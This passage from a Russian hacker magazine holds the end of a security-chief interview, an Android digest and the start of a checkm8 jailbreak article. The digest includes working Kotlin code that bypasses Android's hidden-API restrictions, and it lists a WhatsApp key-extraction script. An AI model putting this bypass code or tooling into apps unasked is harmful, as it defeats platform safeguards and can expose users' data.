задачей было сле дить за тем, что бы дыры в ста ром соф те не при вели к ком‐ 
про мета ции.  Мно гие  вещи  были  нас толь ко  ста рыми,  что  уже  даже
не обновля лись, а выб росить их было нель зя. Здесь же проб лема — это не
легаси, а, наобо рот, новые вещи, которые нуж но внед рять очень быс тро, что‐ 
бы  пос певать  за  рын ком.  Нас толь ко  быс тро,  что  выс тро ить  ту  же  сис тему
сдер жек  и  про тиво весов,  как  в  любой  дру гой  ком пании,  прос то  не  получа‐ 
ется. Здесь все хотят, что бы все было внед рено немед ленно, а еще луч ше —
вче ра.

Ес ли ты, дей ствуя как безопас ник, нач нешь задер живать цик лы раз работ ки
и релизов, ничего хороше го в ответ не услы шишь. Ник то не будет это тер петь.
Но так получи лось, что в пер вые же недели, как я приш ла в ком панию, я сде‐ 
лала  имен но  это.  Ска зала:  «Боль ше  никаких  релизов,  пока  мы  все  не  про‐ 
верим,  нич то  не  покинет  две ри  ком пании  —  ни  новые  релизы,  ни  ста рые.
И никаких хот фиксов».

— Теперь вы в гла зах людей Мор дак из комик сов про Дил берта?
— Точ но!

— Но, мне кажет ся, люди все же дол жны понимать тре бова ния.
— Конеч но‐конеч но. Но, нап ример, в слу чае с ата кой, о которой мы говори ли,
мы не мог ли им ничего рас ска зывать, пока шло рас сле дова ние. При этом мы
объ яви ли, что нуж но оста новить под готов ку любых бил дов, даже ежед невные
обновле ния.  Апдей ты  сиг натур ной  базы  обя заны  выходить  в  срок,  но  мы
попыта лись  задер жать  даже  их,  что бы  все  переп роверить.  Приш лось  при‐ 
думы вать хит роум ные методы про вер ки, но в ито ге мы все же обно вили базу.
Потом  мы  про вери ли  все  вер сии  CCleaner,  все  вер сии  анти виру са  и  все
осталь ные  про дук ты. Вот  этим мы  и  занима лись  полови ну  октября,  работая
по 18 часов в день.

ЗДОРОВАЯ ПАРАНОЙЯ

— Если отвлечь ся от инци ден та, нас коль ко в целом тяжело зас -
тавлять людей здесь сле довать пра вилам?
— Очень тяжело! Потому что они все умные люди и дума ют: «Пра вила? Какие
пра вила?!»  Но  глав ная  проб лема  тут  все  же  не  в  этом.  Если  мы  хотим
хорошую  безопас ность,  то  она  дол жна  быть  естес твен ной,  не  дол жно  быть
никаких барь еров и ее обес печение дол жно быть частью того, что человек бы
хотел делать, а не лиш ним шагом на пути.

И  это го  очень  слож но  добить ся  в  раз работ ке  соф та,  где  каж дый  зна ет,
как  обой ти  тот  или  иной шаг,  и  при вык  к  тому,  что  все  ког да‐то  было  лег ко
дос тупно  всем.  Слож но  при учить  людей,  нап ример,  к  тому,  что  не  нуж но
запус кать хакер ские ути литы в  той же сети, в  которой есть что‐то важ ное. Я
могу пре дос тавить «гряз ное» окру жение, где мож но будет делать что угод но,
но тог да в «чис том» мож но будет толь ко читать поч ту и занимать ся про чими
безобид ными делами.

— У вас, навер ное, есть и машины, не под клю чен ные вооб ще ни к
каким сетям? Air gap и все такое…
—  Есть.  И  все  рав но  на  них  пыта ются  что‐нибудь  про нес ти.  Здесь  пол но
умных и хорошо мотиви рован ных инже неров, которые при вык ли к онлай ну и к
пол ной  сво боде.  Так  что,  если  пытать ся  что‐то  отнять,  мож но  стол кнуть ся
с  бун тами.  Часть  игры  —  находить  спо собы  повышать  безопас ность,
не лишая людей важ ных для работы вещей.

В общем‐то, у ком пании может быть луч шая безопас ность в мире, но это
не  оста новит  какого‐нибудь  слу чай ного  сот рудни ка  от  того,  что бы  забыть
в сто ловой или в машине свой откры тый ноут бук.

— Мож но ли ска зать, что народ здесь раз деля ет вашу паранойю?
— Нет! Я не думаю, что кто‐нибудь здесь вооб ще такой же парано ик, как и я.
Вот,  нап ример,  эти  бей джи,  которы ми мы  откры ваем  две ри.  Я  знаю,  что  их
мож но кло ниро вать! Ух… Дышать ров но, дышать ров но… (выдыха ет). Ничего,
я это тоже починю. У меня, кста ти, даже фут болка есть с над писью «Про фес‐ 
сиональ ный парано ик». Ну и вооб ще, это то, за что мне пла тят. В кон це кон‐ 
цов, здо ровая паранойя — это прос то челове чес кий инстинкт выжива ния.

А  вот  нез доровой  она  ста новит ся,  если  что‐то,  что  ты  защища ешь,  нет
смыс ла  защищать.  Нап ример,  если  единс твен ный  спо соб  защитить  онлай‐ 
новый  сер вис  —  это  отклю чить  от  все го  и  закопать  в  бун кере  на  глу бине
десяти  мет ров,  это  вряд  ли  будет  иметь  какой‐то  смысл.  То  есть  безопас‐ 
ность не дол жна мешать дви гать ся впе ред, а это в нашей работе, к сожале‐ 
нию, иног да слу чает ся.
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Се год ня в выпус ке: обход защиты на дос туп
к скры тым методам, обна руже ние прав root
в  обход  Magisk  Hide,  рас сказ  о  том,
как Google вычис ляет злов редные при ложе‐ 
ния в Google Play, раз рушение мифов о тех‐ 
никах  опти миза ции  про изво дитель нос ти
при ложе ний,  руководс тво  по  защите  ком‐ 
муника цион ных  каналов  при ложе ний,  при‐ 
меры  исполь зования фун кций‐рас ширений
в  Kotlin.  А  так же  под борка  инс тру мен тов
пен тесте ра и биб лиотек раз работ чика.

ПОЧИТАТЬ

Как обой ти защиту на дос туп к скры тым методам
 — деталь‐ 

ный  рас сказ,  как  обой ти  защиту  на  дос туп  к  скры тым  методам  в  Android
9 и выше.

Developers: It’s super easy to bypass Android’s hidden API restrictions

Как  и  любая  дру гая  ОС,  Android  пре дос тавля ет  раз работ чикам  дос туп
к обширно му API, который поз воля ет вызывать те или иные фун кции ОС. Этот
API  вклю чает  в  себя  ряд  скры тых,  но  иног да  очень  полез ных  фун кций,  нап‐ 
ример воз можность раз вернуть стро ку сос тояния. Выз вать эти фун кции нап‐ 
рямую  не  получит ся,  так  как  их  прос то  нет  в  SDK.  Но  мож но  исполь зовать
модифи циро ван ный SDK (слож но) или реф лексию (очень прос то).

Реф лексия поз воля ет дотянуть ся до любых методов и полей клас сов, что,
конеч но  же,  мож но  исполь зовать  для  не  сов сем  легаль ной  деятель нос ти.
Поэто му,  начиная  с  Android  9,  Google  соз дала  чер ный  спи сок  методов
и  полей,  недос тупных  для  вызова  с  помощью  реф лексии.  Если  при ложе ние
поп робу ет  их  выз вать,  то  либо  будет  при нуди тель но  оста нов лено,  либо
получит пре дуп режде ние (в слу чае с метода ми из серого спис ка).

Но есть в этой защите одна проб лема — она осно вана на про вер ке име ни
вызыва юще го про цес са. А это зна чит, что, если мы не будем вызывать метод
нап рямую, а поп росим саму сис тему сде лать это за нас, про вер ка даст доб ро
(не может же она зап рещать саму себя).

Итак, стан дар тный спо соб вызова скры того метода с помощью реф лексии
(не работа ет, при ложе ние завер шает ся):

val someHiddenClass = Class.forName("android.some.hidden.Class")
val someHiddenMethod = someHiddenClass.getMethod("someHiddenMethod", 
String::class.java)

someHiddenMethod.invoke(null, "some important string")

Но вый  спо соб  вызова  скры того  метода  с  помощью 
(работа ет, потому что вызыва ет метод не наше при ложе ние, а сама сис тема):

двой ной  реф лексии

val forName = Class::class.java.getMethod("forName", String::class.
java)
val getMethod = Class::class.java.getMethod("getMethod", String::
class.java, arrayOf<Class<*>>()::class.java)
val someHiddenClass = forName.invoke(null, "android.some.hidden.
Class") as Class<*>
val someHiddenMethod = getMethod.invoke(someHiddenClass, "someHi
ddenMethod", String::class.java)

someHiddenMethod.invoke(null, "some important string")

Но и это еще не все: с помощью это го трю ка мы можем вызывать очень инте‐ 
рес ный скры тый метод  ,  который поз воля ет  (бам!)
добавить нуж ные нам методы в исклю чения и вызывать их с помощью прос той
реф лексии.

setHiddenApiExemptions

Сле дующий  код  при кажет  сис теме  добавить  в  исклю чения  вооб ще  все
скры тые методы:

val forName = Class::class.java.getDeclaredMethod("forName", String::
class.java)
val getDeclaredMethod = Class::class.java.getDeclaredMethod("getDec
laredMethod", String::class.java, arrayOf<Class<*>>()::class.java)

val vmRuntimeClass = forName.invoke(null, "dalvik.system.VMRuntime") 
as Class<*>
val getRuntime = getDeclaredMethod.invoke(vmRuntimeClass, "getRun
time", null) as Method
val setHiddenApiExemptions = getDeclaredMethod.invoke(vmRuntimeClass,
"setHiddenApiExemptions", arrayOf(arrayOf<String>()::class.java)) as
Method

val vmRuntime = getRuntime.invoke(null)

setHiddenApiExemptions.invoke(vmRuntime, arrayOf("L"))

Сто ит  отме тить,  что  Google  в  кур се  этой  проб лемы.  Они  откло нили
баг‐репорт  о  воз можнос ти  вызова  скры тых  методов  под  пред логом,  что
это защита от дураков, а не security‐фича.

Как обна ружить Magisk
 — статья о том, как обна ружить при сутс твие Magisk (и,

как следс твие, прав root) на устрой стве.
Detecting Magisk Hide

Magisk — извес тный, а в пос леднее вре мя единс твен ный инс тру мент sys‐
temless‐рутин га устрой ств. Он поз воля ет получить пра ва root без изме нения
сис темно го  раз дела,  а  так же  при менить  раз личные  сис темные  тви ки.  Одна
из  широко  исполь зуемых  воз можнос тей  Magisk  —  фун кция  Magisk  Hide,
которая  поз воля ет  пол ностью  скрыть  сам  Magisk  и  наличие  прав  root
на устрой стве от выб ранных при ложе ний.

Прин цип  работы Magisk  осно ван  на  под клю чении  поверх фай ловой  сис‐ 
темы сис темно го раз дела дру гой фай ловой сис темы (овер лея), содер жащей
бинар ный файл su (необ ходимый для получе ния прав root) и нуж ные для его
работы ком понен ты. Под клю чение про исхо дит на ран них эта пах заг рузки, но,
если  акти виро ван  Magisk  Hide,  он  отклю чает  овер лей  для  выб ранных  при‐ 
ложе ний. Дру гими сло вами, обыч ные при ложе ния будут видеть содер жимое
овер лея, а те, что ука заны в нас трой ках Magisk Hide, — нет. С их точ ки зре ния
смар тфон будет не рутован.

Про цесс скры тия root мож но уви деть в логах Magisk

Но есть в Magisk Hide один изъ ян. Дело в том, что, если при ложе ние, которое
находит ся в спис ке для скры тия root, запус тит сер вис в изо лиро ван ном про‐ 
цес се, Magisk  так же  отклю чит  для  него  овер лей,  но  в  спис ке  под клю чен ных
фай ловых сис тем ( ) этот овер лей оста нет ся. Соот ветс‐ 
твен но,  что бы обна ружить Magisk, необ ходимо запус тить сер вис в изо лиро‐ 
ван ном про цес се и про верить спи сок под клю чен ных фай ловых сис тем.

/proc/<pid>/mounts

Спи сок фай ловых сис тем в изо лиро ван ном про цес се

Ав тор  утвер жда ет,  что метод работа ет для пос ледней вер сии Magisk  на An‐
droid 8.0–10.0. Proof of concept мож но най ти на  .GitHub

ПОСМОТРЕТЬ

Как Google вычис ляет злов редные при ложе ния
 — выс тупле ние Але ка Гер тина (Alec

Guertin)  на  Android  Dev  Summit’19,  пос вящен ное  облачно му  анти виру су
Google Play Protect.

Why Does Google Think My App Is Harmful?

В сво ей работе Google Play Protect полага ется на свы ше чем 30 тысяч сер‐ 
веров,  которые  про водят  ста тичес кий  ана лиз  и  пос тоян но  запус кают  в  эму‐ 
лято рах  и  на  реаль ных  устрой ствах  при ложе ния,  опуб ликован ные  в  Google
Play и за его пре дела ми. Сис тема обра щает вни мание на сле дующее поведе‐ 
ние при ложе ний:

к каким URL обра щает ся при ложе ние, нет ли их в базе фишин говых URL;•
ка кие фай лы записы вает при ложе ние и нет ли сре ди них фай лов, которые
не дол жны переза писы вать ся;

•

не  исполь зует  ли  при ложе ние  извес тные  методы  получе ния  прав  root
(име ются  в  виду  экс пло иты,  а  не  при ложе ния  для  уже  рутован ных 

•

устройств);
не  слиш ком  ли  это  при ложе ние  похоже  на  извес тное  злов редное  при‐ 
ложе ние (сов падение в 97%).

•

От дель но  автор  док лада  оста новил ся  на  том,  как  рядово му  раз работ чику
не  попасть  под  подоз рение. Google  Play  Protect  может  пос читать  твое  при‐ 
ложе ние не вызыва ющим доверия в сле дующих слу чаях:

не пол ное  рас кры тие  информа ции  о  поведе нии  при ложе ния,  нап ример
уве домить о  сбо ре информа ции  уже пос ле ее  сбо ра или не ого вари вая,
какие кон крет но дан ные будут отправ лены на сер вер раз работ чика;

•

ис поль зование сто рон них SDK со злов редной фун кци ональ ностью;•
аль тер натив ные  методы  монети зации  вро де  май нин га  крип ты,  а  так же
нераз гла шение цены или авто мати чес кие пла тежи без сог ласия;

•

не пол ное  исправ ление  уяз вимос тей,  о  которых  сооб щает  кон соль  раз‐ 
работ чика;

•

не ожи дан ное поведе ние при ложе ния, нап ример показ рек ламы, которо го,
судя по коду, быть не дол жно.

•

Ми фы о про изво дитель нос ти
  —  пре зен тация  раз работ чиков  ком пилято ра  ART,

исполь зуемо го  в  Android  для  JIT/AOT‐ком пиляции  при ложе ний,  о  мифах
повыше ния про изво дитель нос ти при ложе ний. Итак, мифы.

Performance  Myth  Busters

  Экспе римент  с  кон верта‐ 
цией при ложе ния Google Drive на Kotlin показал, что вре мя запус ка и раз‐ 
мер при ложе ния оста лись преж ними, зато объ ем кодовой базы сок ратил‐ 
ся на 25%.

• Код  на  Kotlin мед леннее  и  тол ще  Java.

  Некото рые  раз работ чики  отка зыва ются
от  исполь зования  гет теров  в  поль зу  пуб личных  полей  (   про тив

),  наде ясь  повысить  про изво дитель ность.  Одна ко
это ничего не дает, потому что ком пилятор ART уме ет инлай нить гет теры,
прев ращая их в обыч ные обра щения к полям.

• Гет теры  замед ляют  код.

foo.bar

foo.getBar()

  Лям бды счи тают ся очень мед ленны ми,  и  ты
можешь  встре тить  советы  заменить  их  вло жен ными  клас сами. На  самом
деле  пос ле  ком пиляции  лям бды  прев раща ются  в  те  же  ано ним ные  вло‐ 
жен ные клас сы.

• Лям бды замед ляют код.

Ког да‐то  это  дей стви тель но  было  прав дой,  но  за  пос ледние  годы  раз‐ 
работ чики  сде лали  алло катор  объ ектов  в  десят ки  раз,  а  сбор щик
мусора — в нес коль ко раз быс трее. Нап ример, на Android 10 авто мати чес‐ 
кая алло кация объ ектов в тес тах про изво дитель нос ти ничем не отли чает ся
от алло кации и осво бож дения пула объ ектов вруч ную (имен но такой спо‐ 
соб  рекомен довали  исполь зовать  для  сох ранения  про изво дитель нос ти
ранее).

• Ал локация объ ектов и сбор ка мусора в Android — мед ленные.

 Обыч но при про фай‐ 
лин ге при ложе ния раз работ чики не обра щают вни мания, что име ют дело
с  debug‐сбор кой.  В  резуль тате  они  ана лизи руют  про изво дитель ность
неоп тимизи рован ного кода и получа ют невер ные резуль таты про фай лин‐ 
га.

• Про фай линг дебаг‑сбо рок — это нор маль но.

При  пре выше нии  лимита  на  количес тво  методов  ком пилятор  раз бива ет
при ложе ние  на  нес коль ко  исполня емых  фай лов  DEX.  Счи тает ся,  что
это замед ляет старт при ложе ния. На деле если такой эффект и есть, то он
про явля ется  толь ко  при  наличии  сотен  фай лов  DEX.  С  дру гой  сто роны,
MultiDex‐при ложе ния  занима ют  на  нес коль ко  про цен тов  боль ше  опе‐ 
ратив ной и пос тоян ной памяти.

• У  MultiDex-при ложе ний  более  мед ленный  холод ный  старт.

Оп тимиза ция алло като ра объ ектов (Android 4.4 — Android 10)

РАЗРАБОТЧИКУ

Бе зопас ность ком муника ций
 — ввод ная статья

о  том,  как обе зопа сить  ком муника цию при ложе ния с сетевым сер вером и с
дру гими при ложе ниями.

Securing Network and  Inter‐App Communications on Android

Од на  из  основных  проб лем  сетевой  ком муника ции  зак люча ется  в  воз‐ 
можнос ти  перех вата  тра фика,  поэто му  пер вое,  что  необ ходимо  сде лать
при  раз работ ке  при ложе ния,  —  добавить  файл  сетевой  кон фигура ции,
который  зап ретит  исполь зовать  незашиф рован ные  под клю чения  (начиная
с  Android  7.0).  Сам  файл  может  иметь  про изволь ное  имя,  но  дол жен  рас‐ 
полагать ся в катало ге  . Так же на него нуж но сос лать ся из манифес та:res/xml

<?xml version="1.0" encoding="utf‐8"?>
<manifest ... >
   <application 
        android:networkSecurityConfig="@xml/config"
        ...>
       ...
   </application>
</manifest>

Да лее при веден файл кон фигура ции, который зап реща ет незашиф рован ный
тра фик  для  всех  доменов  за  исклю чени ем  localhost,  а  так же  поз воля ет
исполь зовать  для  debug‐сбо рок  собс твен ный  центр  сер тифика ции.  Необя‐ 
затель но вклю чать в кон фиг все эти опции.

<?xml version="1.0" encoding="utf‐8"?>
<network‐security‐config>
   <!‐‐ Запретить незашифрованный трафик для всех доменов, кроме 
перечисленных в исключениях ‐‐>
   <base‐config cleartextTrafficPermitted="false" />

   <!‐‐ Домены, с которыми разрешен обмен незашифрованным трафиком 
‐‐>
   <domain‐config cleartextTrafficPermitted="true">
       <domain includeSubdomains="true">localhost</domain>
       <trust‐anchors>
           <!‐‐ Кроме системных, также доверяем сертификату из 
файла debug_certificate ‐‐>
           <certificates src="system" />
           <certificates src="@raw/debug_certificate" />
       </trust‐anchors>
   </domain‐config>

   <!‐‐ Debug‐версия приложения будет доверять также нашему 
собственному CA ‐‐>
   <debug‐overrides>
       <trust‐anchors>
           <certificates src="@raw/my_ca"/>
       </trust‐anchors>
   </debug‐overrides>

</network‐security‐config>

Кон фигура цион ный  файл  так же  мож но  исполь зовать  для  Certificate  Pinning.
Это нуж но для того, что бы при ложе ние мог ло удос товерить ся, что уда лен ный
сер вер  дей стви тель но  исполь зует  нас тоящий  сер тификат  безопас ности.
Для  это го  надо  получить  хеш  SHA‐256  это го  сер тифика та  и  про писать  его
в нуж ное поле (его мож но узнать с помощью бра узе ра):

<domain‐config>
   <domain includeSubdomains="true">website.net</domain>
   <pin‐set expiration="2020‐04‐16">
       <pin digest="SHA256">хеш</pin>
       <pin digest="SHA‐256">хеш</pin>
    </pin‐set>
</domain‐config>

Об мен дан ными меж ду при ложе ниями тоже необ ходимо защищать. Стан дар‐ 
тный  механизм  обме на  сооб щени ями  в  Android —  это  интенты  (intent).  Они
поз воля ют  отпра вить  дру гому  при ложе нию  (или  груп пе  при ложе ний)  сооб‐ 
щение  или  выз вать  ту  или  иную  фун кцию.  Интенты  могут  быть  нап равле ны
одно му  при ложе нию  или  быть  широко веща тель ными  (я  отправ ляю  сооб‐ 
щение сис теме, и она пусть раз бира ется, кому сооб щение пред назна чено, —
нап ример, вызовет стан дар тный бра узер, что бы открыть ука зан ную веб‐стра‐ 
ницу).  Проб лема  с  широко веща тель ными  интента ми  в  том,  что  их  могут
получить при ложе ния, с которы ми не сто ит обме нивать ся информа цией. Что‐ 
бы  решить  проб лему,  мож но  выз вать  диалог  выбора,  и  тог да  поль зователь
смо жет сам ука зать при ложе ние, которое дол жно получить интент:

val intent = Intent(Intent.ACTION_SEND)
val activityList = packageManager.queryIntentActivities(intent, 
PackageManager.MATCH_ALL)
when {
   activityList.size > 1 ‐> {
       val chooser = Intent.createChooser(intent, "Choose an App")
       startActivity(chooser)
   }
   intent.resolveActivity(packageManager) != null ‐> startActivity(
intent)
   else ‐> Toast.makeText(this, "No App to launch with", Toast.
LENGTH_LONG).show()
}

Но что, если ты хочешь защитить при ложе ние от получе ния любых интентов,
кро ме  отправ ленных  дру гими  тво ими  при ложе ниями  (нап ример,  ты  реали‐ 
зовал  сис тему  пла гинов)?  Для  это го  мож но  соз дать  новое  пол номочие
и авто мати чес ки пре дос тавить его при ложе ниям, под писан ным  тем же  клю‐ 
чом.

Сна чала объ явля ем раз решение:

<permission android:name="packageName.HelloWorldPermission"
           android:protectionLevel="signature" />

За тем защища ем с его помощью нуж ный ком понент при ложе ния:

<provider android:name="android.support.v4.content.FileProvider"
         ...
         android:permission="packageName.HelloWorldPermission"/>

В дан ном слу чае мы  защити ли ContentProvider,  но  так же  его мож но  сде лать
сов сем  невиди мым  для  дру гих  при ложе ний  с  помощью  атри бута 

.
android:

exported="false"

Поль за фун кций‑рас ширений
  —  крат кая  статья  о  поль зе  фун‐ 

кций‐рас ширений Kotlin. Тех самых, что поз воля ют добавить метод к любому
клас су (сво ему или чужому) на лету.

Kotlin  extension  functions:  more  than  sugar

Фун кции‐рас ширения  улуч шают  чита емость  кода.  Нап ример,  стро ка
 выг лядит явно луч ше, чем  , и тем

более луч ше, чем  .

•
string.emojify() emojify(string)

StringUtils.emojify(string)

Фун кции‐рас ширения поз воля ют сде лать  класс лег че и  удоб нее для  чте‐ 
ния  и  понима ния.  Если,  нап ример,  какой‐то  набор  при ват ных  методов
клас са  нужен  толь ко  одно му  пуб лично му методу,  их  вмес те  с  пуб личным
методом мож но вынес ти в рас ширения.

•

Фун кции‐рас ширения облегча ют написа ние кода,  так  как  IDE будет авто‐ 
мати чес ки  под ска зывать,  какие  методы  и  фун кции‐рас ширения  есть
у клас са.

•

Клас сы‑делега ты в Kotlin

  —  статья  о  делеги рован ных  свой ствах  в  Kotlin  и  о  том,  как  их
мож но при менять при раз работ ке для Android.

Kotlin Delegates in Android: Utilizing the power of Delegated Properties in Android
development

Де леги рован ные свой ства — это поля  клас са  (или  гло баль ные перемен‐ 
ные),  обра щение  к  которым  вызовет  код  спе циаль ного  клас са‐делега та.
Прос тей ший  при мер  исполь зования  делеги рован ных  свой ств  будет  выг‐ 
лядеть так:

class TrimDelegate : ReadWriteProperty<Any?, String> {

   private var trimmedValue: String = ""

   override fun getValue(
       thisRef: Any?,
       property: KProperty<*>
   ): String {
       return trimmedValue
   }

   override fun setValue(
       thisRef: Any?,
       property: KProperty<*>, value: String
   ) {
       trimmedValue = value.trim()
   }
}

Все, что дела ет этот класс‐делегат, — трим мит стро ку (отбра сыва ет началь‐ 
ные и конеч ные про белы), записан ную в перемен ную. Далее, если объ явить
перемен ную,  исполь зуя  этот  класс‐делегат,  записан ные  в  нее  стро ки  будут
авто мати чес ки трим мить ся:

var param: String by TrimDelegate()
param = "  string  "

В  Android  делеги рован ные  свой ства  очень  удоб но  исполь зовать  для  обра‐ 
щения  к  опци ям  с  помощью  SharedPreferences.  Прос то  соз дай  сле дующую
фун кцию‐рас ширение для клас са SharedPreferences:

fun SharedPreferences.string(
   defaultValue: String = "",
   key: (KProperty<*>) ‐> String = KProperty<*>::name
): ReadWriteProperty<Any, String> =
   object : ReadWriteProperty<Any, String> {
       override fun getValue(
           thisRef: Any,
           property: KProperty<*>
       ) = getString(key(property), defaultValue)
       override fun setValue(
           thisRef: Any,
           property: KProperty<*>,
           value: String
       ) = edit().putString(key(property), value).apply()
   }

Объ яви  перемен ную,  которая  будет  при вяза на  к  нуж ной  опции,  и  прос то
записы вай/читай зна чения. Они будут авто мати чес ки сох ранены в файл нас‐ 
тро ек:

var option3 by prefs.string(
       key = { "option3" },
       defaultValue = "default"
   )

option3 = "new_value"

ИНСТРУМЕНТЫ

 — сайт, поз воля ющий узнать, под держи вает ли
твое  устрой ство  уста нов ку  сто рон него  дис три бути ва  Linux  (OpenEmbed‐
ded, PostmarketOS, Ubuntu Touch и так далее);

• Can My Phone Run Linux?

 — фаз зер обще го наз начения, осно ван ный на Frida;• Frizzer
 — скрипт для извле чения клю ча шиф рования WhatsApp;• WhatsDump

 — набор скрип тов для ревер са iOS.• iOS‐related scripts

БИБЛИОТЕКИ

 — биб лиоте ка, поз воля ющая обой ти огра ниче ние на дос туп
к скры тым API с помощью реф лексии (в Android 9 и 10);

• FreeReflection

  —  биб лиоте ка  для  более  эффектив ного  хра нения  строк
перево да в пакете (раз работ чик — WhatsApp);

• StringPacks

 — экран обрезки изоб ражений;• Croppy
 — кра сивая ани мация перехо да меж ду стра ница ми ViewPager;• LiquidSwipe
 — биб лиоте ка для  эффек тной сме ны  зад него фона при ложе‐ 

ния;
• EasyReveal

 — биб лиоте ка для удоб ного соз дания динами чес ких ярлы ков при‐ 
ложе ния (те, что показы вают ся при дол гом удер жании икон ки);

• Shortcut

 — биб лиоте ка для выбора фотог рафий на кар те памяти;• ChiliPhotoPicker
 — прос той и эффек тный перек лючатель меж ду дву мя табами;• FlipTabs

  —  авто мати чес кий  генера тор  адап теров
для RecyclerView;

• Recycleradapter‐generator

 — ScrollView, визу аль но реаги рующий на про мот ку экра‐ 
на;

• IndicatorScrollView

 — биб лиоте ка, реали зующая сто риз а‐ля Instagram;• StoryView
  —  биб лиоте ка  для  LRU‐кеширо вания  сери али зуемых  объ ектов

в памяти и на дис ке;
• Falcon

  —  вер сия  Rx‐preferences,  перепи сан ная  на  Kotlin  Flow
API;

• Flow‐preferences

 — набор заданий для изу чения Kotlin Flow API.• FlowRiddles
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Поль зовате ли  айфо нов  прек расно  зна ют,
зачем  нужен  джей лбрейк.  Дос туп  к  фай‐ 
ловой  сис теме  в  iOS  поз воля ет  уста нав‐ 
ливать  при ложе ния  из  сто рон них  репози‐ 
тори ев  и  гиб ко менять  нас трой ки,  которые
обыч но недос тупны. До недав него вре мени
джей ла  для  iOS  13  не  сущес тво вало.  Точ‐ 
нее, до тех пор, пока хакер axi0mX не обна‐ 
ружил  уяз вимость  checkm8  и  не  объ яснил,
как мож но заюзать ее на бла го прог рессив‐ 
ной общес твен ности. А сегод ня мы рас ска‐ 
жем об этой наход ке тебе и покажем, как с
ней обра щать ся.

КОРРОЗИЯ ЖЕЛЕЗА
Наз вание  уяз вимос ти  checkm8  про изно сит ся  по‐англий ски  при мер но
как  checkm‐eight,  что  соз вучно  со  сло вом  checkmate  —  «шах  и  мат»,  сим‐ 
волизи рующим окон чание шах матной пар тии. Отсю да и харак терный логотип
одно имен ного  экс пло ита  в  виде  опро кину той  фигуры  шах матно го  короля.
«Игра окон чена, ребята из Купер тино, — как бы намека ют нам авто ры спло‐ 
ита, — you lose».

Са мое  инте рес ное  во  всей  этой  исто рии  с  checkm8  то,  что  уяз вимость
была обна руже на не на прог рам мном, а на аппа рат ном уров не яблочной тех‐ 
ники,  при чем  охва тыва ет  она  очень  боль шой  диапа зон  моделей,  начиная
с самых древ них устрой ств на чипе А5 вро де  iPhone 4S и закан чивая впол не
сов ремен ным iPhone X.

Ды ра  пря чет ся  в  механиз ме  BootROM,  который  игра ет  клю чевую  роль
в про цес се заг рузки айфо нов и айпа дов. При чем пофик сить ее прог рам мны‐ 
ми зап латка ми невоз можно: для того что бы решить проб лему, нуж но перес‐ 
мотреть аппа рат ную кон фигура цию самого девай са, чего, как ты понима ешь,
за пару месяцев никак не сде лать. На мой взгляд, checkm8 — это круп ней ший
факап  Apple  со  вре мен  тро яна  Flashback,  заразив шего  и  объ еди нив шего
в бот нет поч ти 500 тысяч маков под управле нием OS X по все му миру. Но тог‐ 
да, в 2012 году, все успешно раз решилось обновле нием Java‐машины в mac‐
OS, уяз вимость в которой и исполь зовал трой. Сей час у Apple уже не получит‐ 
ся сос кочить столь же лег ко и эле ган тно.

ИСТОРИЯ С ГЕОГРАФИЕЙ
О  checkm8  извес тно  уже  дав нень ко.  Пер вые  упо мина ния  об  уяз вимос ти
в  BootROM  яблочных  мобиль ных  устрой ств  появи лись  в  Сети  27  сен‐ 
тября 2019 года, ког да axi0mX пуб лично   о сво ей наход ке.
Горячую новость тут же под хва тили мно гочис ленные сай ты и даже 

,  гром ко  заявив шие  о  появ лении  уни вер саль ного  джей лбрей ка
для  целого  зоопар ка  смар тфо нов  от  Apple.  На  самом  деле  пол ноцен ного
джей ла на тот момент еще не сущес тво вало: экспе римен тируя с DFU, axi0mX
обна ружил  аппа рат ную  уяз вимость,  которую  потен циаль но  мож но  исполь‐ 
зовать для взло ма фай ловой сис темы iOS.

со общил в твит тере
ав торитет‐ 

ные  СМИ

Спер ва  с  помощью  checkm8  нель зя  было  сде лать  прак тичес ки  ничего,
кро ме замены стан дар тной заг рузоч ной кар тинки iPhone в виде над кусан ного
ябло ка  на  что‐то  более  ори гиналь ное.  Пол ноцен ный  джей лбрейк  с  воз‐ 
можностью уста нов ки Cydia был пред став лен толь ко 8 нояб ря на кон ферен‐ 
ции  POC2019  в  Сеуле,  да  и  тот  пока  еще  находит ся  в  сос тоянии  бета‐тес‐ 
тирова ния.

В раз работ ке джей ла на осно ве checkm8 при нима ла учас тие целая коман‐ 
да  иссле дова телей,  объ еди нен ная  под общим наз вани ем  .  В  нее,
помимо  самого  axi0mX  и  извес тно го  iOS‐иссле дова теля  и  талан тли вого
хакера Луки Тодес ко ( ), вхо дит еще как минимум десяток человек,
о чем крас норечи во сви детель ству ет раз дел Credits на  .

checkra1n

qwertyoruiop
сай те этой бан ды

Вот эти кру тые ребята сде лали джей лбрейк на осно ве checkm8

На  сегод няшний  день  бета‐вер сия  раз работан ного  коман дой  checkra1n
джей лбрей ка  поз воля ет  взло мать  устрой ства  с  уста нов ленной  iOS  13,
начиная  с  iPhone  6S  и  закан чивая  Х  —  на  более  ран них  девай сах  ути лита
не тес тирова лась. Как про исхо дит этот взлом и на каких прин ципах он осно‐ 
ван? Давай раз бирать ся.

РАЗ, ДВА, ТРИ, ЧЕТЫРЕ, ПЯТЬ, НАЧИНАЕМ ЗАГРУЖАТЬ…
Для поль зовате ля заг рузка айфо на выг лядит край не прос то: нажал на кно поч‐ 
ку — и спус тя пару секунд на экра не появ ляет ся при выч ный интерфейс  iOS.
С тех ничес кой точ ки зре ния все нем ного слож нее.

За  началь ный  этап  запус ка  яблочно го  устрой ства  отве чает  так  называ‐ 
емый SecureROM, он же BootROM. Это — самый пер вый код, который запус‐ 
кает ся  при  холод ной  заг рузке  в  Application  Processor.  Фак тичес ки  он  пред‐ 
став ляет собой уре зан ную и упро щен ную вер сию заг рузчи ка iBoot. Основная
задача  SecureROM  —  получить  образ  заг рузчи ка  из  энер гонеза виси мой
памяти  и  передать  ему  управле ние.  Этот  код  хра нит ся  непос редс твен но
в чипе на аппа рат ном уров не, дос тупен толь ко на чте ние и потому не может
быть изме нен никаким обра зом извне. SecureROM — это самый доверен ный
код  в  Application  Processor,  который  выпол няет ся  без  каких‐либо  про верок.
Он же  отве чает  за  переход  устрой ства  в  сер висный  режим  вос ста нов ления
DFU  (Device  Firmware Update),  акти визи руемый  нажати ем  спе циаль ной  ком‐ 
бинации  кно пок  при  вклю чении  девай са.  Для  нас  важ но,  что  в  режиме DFU
дос тупна заг рузка на устрой ство фай лов через интерфейс USB.

Ар хитек турно  SecureROM  пред став ляет  собой  пер вое  зве но  цепоч ки
безопас ной  заг рузки,  при думан ной  Apple  для  защиты  от  самого  глав ного
